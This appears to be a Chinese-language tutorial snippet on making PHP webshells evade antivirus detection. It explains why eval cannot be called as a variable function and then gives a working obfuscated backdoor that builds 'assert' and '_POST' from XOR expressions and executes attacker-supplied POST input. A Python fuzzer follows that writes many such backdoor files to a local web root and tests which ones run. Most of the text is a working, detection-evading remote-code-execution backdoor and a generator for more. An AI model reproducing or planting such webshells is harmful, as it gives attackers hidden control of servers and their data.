关于eval函数在php给出的官方说明是
eval 是一个语言构造器而不是一个函数,不能被 可变函数 调用
可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行
通俗的说比如你<?php $a=eval;$a() ?>
这样是不行的 也造就了用eval的话达不到assert的灵活,但是在php7.1以上assert已经不行
利用异或运算免杀(无字符后门)
<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //$_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); //$__='_POST';
$___=$$__;$_($___[_]); //assert($_POST[_]);
?>
利用代码生成可行的异或运算出来的免杀后门
import requests import time def string(): for i in range(1,127): for ii in range(1,127): payload="'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'" code="<?php $a=("+payload+").'ssert';$a($_POST[x]);?>" filename=str(i)+'xd'+str(ii)+'.php' with open('D:/phpstudy/PHPTutorial/WWW/x/'+filename,'a') as f: f.write(code) print('Fuzz->'+filename+'文件写入成功') f.close() url = 'http://127.0.0.1:8081/x/' + filename datas = { 'x': 'phpinfo();' } result = requests.post(url, data=datas).content.decode('utf-8') if 'XIAODI-PC' in result: print('check->'+filename+'->ok') else: print('check->'+filename+'->no') time.sleep(1) def shell_test_check(): url='http://127.0.0.1:8081/x/33xd64.php' datas={ 'x':'phpinfo();' } result=requests.post(url,data=datas).content.decode('utf-8') print(result) if 'XIAODI-PC' in result: print('ok') if __name__ == '__main__': string()
php 免杀参考:https://www.cnblogs.com/liujizhou/p/11806497.html
fuzz字典合集:https://github.com/stemmm/fuzzDicts